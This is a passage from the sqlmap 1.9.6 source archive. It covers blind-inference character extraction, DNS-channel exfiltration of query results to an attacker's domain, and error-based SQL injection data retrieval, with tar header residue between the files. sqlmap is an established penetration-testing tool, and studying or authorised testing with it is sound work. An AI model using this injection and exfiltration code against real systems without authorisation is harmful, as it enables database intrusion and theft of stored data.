mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0]) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.index: if threadData.shared.index[0] - firstChar >= length: return threadData.shared.index[0] += 1 currentCharIndex = threadData.shared.index[0] if kb.threadContinue: val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 if not isListLike(threadData.shared.value): break with kb.locks.value: threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = ".." + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + ".." if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: progress.progress(len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = getTechniqueData().vector query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(index) elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): finalValue = partialValue[:-1] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeDbmsHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): """ Returns the query output length. """ infoMsg = "retrieving the length of query output" logger.info(infoMsg) start = time.time() lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) if isinstance(length, six.string_types) and length.isspace(): length = 0 return length �����������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/dns/��������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0016531�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/dns/__init__.py���������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0020636�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/dns/test.py�������������������������������������������������������������0000664�0000000�0000000�00000002144�15022617442�0020063�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/dns/use.py��������������������������������������������������������������0000664�0000000�0000000�00000011704�15022617442�0017702�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.settings import DNS_BOUNDARIES_ALPHABET from lib.core.settings import MAX_DNS_LABEL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.safe2bin import safecharencode def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace(fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeDbmsHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal ������������������������������������������������������������sqlmap-1.9.6/lib/techniques/error/������������������������������������������������������������������0000775�0000000�0000000�00000000000�15022617442�0017076�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/error/__init__.py�������������������������������������������������������0000664�0000000�0000000�00000000222�15022617442�0021203�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/techniques/error/use.py������������������������������������������������������������0000664�0000000�0000000�00000051274�15022617442�0020255�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout from lib.core.common import decodeDbmsHexValue from lib.core.common import extractRegexResult from lib.core.common import firstNotNone from lib.core.common import getConsoleWidth from lib.core.common import getPartRun from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter from lib.core.common import initTechnique from lib.core.common import isListLike from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange from lib.core.convert import decodeHex from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapDataException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import MIN_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import ROTATING_CHARS from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) if Backend.isDbms(DBMS.ORACLE): testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) else: testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) seen.add(current) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current and candidate not in seen else current - 1 else: current = current // 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = getTechniqueData().vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(getTechnique()) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = firstNotNone( extractRegexResult(check, page), extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) ) if output is not None: output = getUnicode(output) else: trimmed = firstNotNone( extractRegexResult(trimCheck, page), extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None) ) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warning(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = r"(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)): if kb.fileReadMode: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, six.string_types): retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False): values = [] origExpr = None width = getConsoleWidth() threadData = getCurrentThreadData() for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field) if not kb.threadContinue: return None if not any((suppressOutput, kb.bruteMode)): if kb.fileReadMode and output and output.strip(): print() elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields): status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output)) if len(status) > width and not conf.noTruncate: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) if isinstance(num, int): expression = origExpr values.append(output) return values def _errorReplaceChars(value): """ Restores safely replaced characters """ retVal = value if value: retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#") return retVal def _formatPartialContent(value): """ Prepares (possibly hex-encoded) partial content for safe console output """ if value and isinstance(value, six.string_types): try: value = decodeHex(value, binary=False) except: pass finally: value = safecharencode(value) return value def errorUse(expression, dump=False): """ Retrieve the output of a SQL query taking advantage of the error-based SQL injection vulnerability on the affected parameter. """ initTechnique(getTechnique()) abortedFlag = False count = None emptyFields = [] start = time.time() startLimit = 0 stopLimit = None value = None _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression) count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) debugMsg = "used SQL query returns " debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD: message = "due to huge table size do you want to remove " message += "ORDER BY clause gaining speed over consistency? [y/N] " if readInput(message, default='N', boolean=True): expression = expression[:expression.index(" ORDER BY ")] numThreads = min(conf.threads, (stopLimit - startLimit)) threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD): for field in expressionFieldsList: if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0': emptyFields.append(field) debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def errorThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: threadData.shared.counter += 1 num = next(threadData.shared.limits) except StopIteration: break output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta) if not kb.threadContinue: break if output and isListLike(output) and len(output) == 1: output = unArrayizeValue(output) with kb.locks.value: index = None if threadData.shared.showEta: threadData.shared.progress.progress(threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, output)) while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]: threadData.shared.lastFlushed += 1 threadData.shared.value.append(threadData.shared.buffered[0][1]) del threadData.shared.buffered[0] runThreads(numThreads, errorThread) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warning(warnMsg) finally: threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered)) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value 